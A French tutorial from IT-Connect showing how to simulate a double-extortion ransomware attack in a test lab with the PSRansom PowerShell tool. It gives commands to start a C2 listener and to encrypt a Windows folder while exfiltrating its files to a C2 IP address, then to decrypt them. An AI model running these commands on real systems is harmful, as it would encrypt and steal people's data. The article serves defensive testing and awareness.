15/11/2024

Cybersécurité

Comment simuler le fonctionnement d’un ransomware avec PSRansom ?

I. Présentation

Dans ce tutoriel, nous allons simuler le fonctionnement d'un ransomware à l'aide de PSRansom, un outil basé sur deux scripts PowerShell, particulièrement simple à utiliser ! Pourquoi écrire un article à ce sujet ? Tout simplement, à des fins éducatives, de tests, de démonstration, de sensibilisation, mais aucun cas pour vous inciter à réaliser ce type d'acte malveillant. Par ailleurs, sur un environnement de tests et isolé de votre production, vous pouvez effectuer cette simulation pour voir comment réagissent vos outils de sécurité !

On entend régulièrement parler des attaques par ransomware, et on espère ne pas avoir à faire face à cette situation, mais qu'en est-il en pratique ? Comment cela fonctionne ? Même s'il existe de nombreuses manières de chiffrer des données, et qu'il y a plein de ransomwares différents, avec des fonctionnalités diverses et variées, grâce à l'outil PSRansom nous allons pouvoir effectuer une simulation réaliste. Cela est d'autant plus vrai que nous allons pouvoir appliquer le principe de la double extorsion !

PSRansom va permettre de mettre en œuvre un scénario basé sur deux machines :

  • Un serveur de Command & Control (C2) destiné à recevoir les données exfiltrées par le ransomware via des requêtes HTTP
  • Un serveur où sera exécuté le logiciel malveillant de type ransomware représenté par un script PowerShell qui va chiffrer les données du volume ou répertoire spécifié
    • Le chiffrement est réalisé en AES-256, à l'aide d'une fonction d'une fonction PowerShell

Schéma simulation ransomware PSRansom

Une fois que les données seront chiffrées (réellement), un fichier texte sera créé sur le serveur et ce dernier contient la clé de déchiffrement pour restaurer les données. Ainsi, le ransomware fictif intègre une fonction de restauration de données permettant de faire un retour arrière.

Le projet PSRansom est disponible à cet emplacement :

Attention : même s'il s'agit d'une simulation, ce n'est pas sans risque notamment si une mauvaise manipulation est effectuée donc utilisez cet outil sur un environnement de tests.

II. Déployer le serveur C2

Mon serveur C2 sera représenté par une machine sous Kali Linux, mais vous pouvez utiliser une autre distribution Linux, voire même une machine Windows. Sur cette machine, nous avons besoin de Git et de PowerShell puisque PSRansom est codé en PowerShell. Ce qui donne :

sudo apt-get update
sudo apt-get install powershell git

Ensuite, on peut cloner le projet PSRansom en local pour récupérer les sources de notre ransomware fictif :

git clone https://github.com/JoelGMSec/PSRansom

PSRansom - Télécharger les sources

Dans ce répertoire, il y a deux scripts intéressants :

  • C2Server.ps1 à exécuter sur le serveur C2 pour le démarrer et qu'il soit en écoute
  • PSRansom.ps1 à exécuter sur le serveur compromis pour chiffrer les données

À partir d'une console PowerShell ou de votre Shell, exécutez la commande ci-dessous pour que le serveur C2 soit en écoute sur toutes ses interfaces et sur le port 80 :

pwsh ./C2Server.ps1 + 80

On peut voir qu'il passe en attente de connexion :

PSRansom - Démarrer le serveur C2

Vous pouvez remplacer "+" par une adresse IP spécifique et configurée sur la machine locale. Si vous exécutez le serveur C2 sur une machine Windows, vous devez préciser "*" à la place de "+" pour écouter sur toutes les interfaces. Ici, j'utilise le port d'écoute "80" mais vous pouvez utiliser un autre port.

À partir du moment où le serveur C2 est démarré, vous pouvez accéder à la page Web en précisant l'adresse IP et le port, ce qui permet de vérifier le bon fonctionnement.

III. Simuler l'attaque par ransomware

Maintenant, nous allons pouvoir simuler l'attaque par ransomware sur la machine Windows compromise ! Ici, on va à l'essentiel en exécutant manuellement le script "PSRansom.ps1" sur l'hôte Windows puisque l'on ne s'intéresse pas à toute la phase de compromission de la machine en elle-même menant jusqu'à l'exécution de la charge finale.

Note : nous pourrions imaginer un scénario où le script PSRansom.ps1 est hébergé sur le serveur C2, et dans ce cas, il pourrait être chargé depuis le serveur compromis pour exécuter la charge utile.

Pour l'exemple, je vais m'attaquer aux données situées dans le répertoire "C:\Partage" :

Quant au script PSRansom, on peut consulter l'aide (depuis Windows ou Linux) avec cette commande :

# Windows
.\PSRansom.ps1 -h
# Linux
pwsh ./PSRansom.ps1 -h

PSRansom - Aide

De ce fait, après avoir consulté l'aide, on peut démarrer le chiffrement des données en utilisant la commande suivant :

.\PSRansom.ps1 -e "C:\Partage" -s 192.168.100.71 -p 80 -x

Plus précisément, le ransomware fictif va chiffrer les données situées dans "C:\Partage" et exfiltrer les données en clair vers le serveur C2 accessible à l'adresse 192.168.100.71:80.

PSRansom - Chiffrement des données

Du côté du serveur C2, on peut voir qu'une connexion est établie, et nous avons des détails sur l'hôte compromis. La clé de déchiffrement est également spécifiée, ainsi que le nom des fichiers reçus par le serveur C2.

PSRansom - Réception des données sur le serveur C2

D'ailleurs, les fichiers exfiltrés sont visibles dans le répertoire "C2Files" présente sur le serveur C2.

PSRansom - Données exfiltrées

Sur le serveur compromis, les données ont hérité de l'extension ".psr" et elles sont illisibles, car elles sont chiffrées !

PSRansom - Données fictives chiffrées

IV. Restaurer les données

Pas de panique ! Dans le fichier "readme.txt" déposé à la racine du répertoire "C:\Partage", on peut récupérer la clé de déchiffrement ! Lorsque l'attaque est réelle, ce fichier prend la forme d'une note de rançon où l'on va retrouver les informations pour contacter les cybercriminels et entrer en négociation, notamment au sujet du montant de la rançon dans le but d'obtenir la clé de déchiffrement.

PSRansom - Clé de déchiffrement

Pour finir cette simulation, il ne reste plus qu'à déchiffrer les données avec cette commande :

.\PSRansom.ps1 -d "C:\Partage" -k <clé de déchiffrement>

Attention, si vous ne fournissez pas la bonne clé de déchiffrement, les données seront supprimés d'après les tests effectués. Après cette opération, les données sont de retour dans leur état d'origine !

PSRansom - Données déchiffrées

V. Conclusion

Grâce à PSRansom, on peut simuler facilement une attaque par ransomware et faire une démonstration en quelques minutes. Le fait que tout soit fait via PowerShell le rend multi-OS et ne nécessite pas d'installer de nombreuses dépendances. Ce qui est intéressant dans le fonctionnement, c'est que ce sont les fichiers chiffrés qui sont transmis du serveur compromis vers le serveur C2, et ce dernier déchiffre les données en local. Même s'il s'agit d'un flux HTTP, les fichiers qui transitent sur le réseau sont chiffrés.

author avatar
Florian BURNEL Co-founder of IT-Connect
Ingénieur système et réseau, cofondateur d'IT-Connect et Microsoft MVP "Cloud and Datacenter Management". Je souhaite partager mon expérience et mes découvertes au travers de mes articles. Généraliste avec une attirance particulière pour les solutions Microsoft et le scripting. Bonne lecture.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail

1 commentaire sur “Comment simuler le fonctionnement d’un ransomware avec PSRansom ?

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.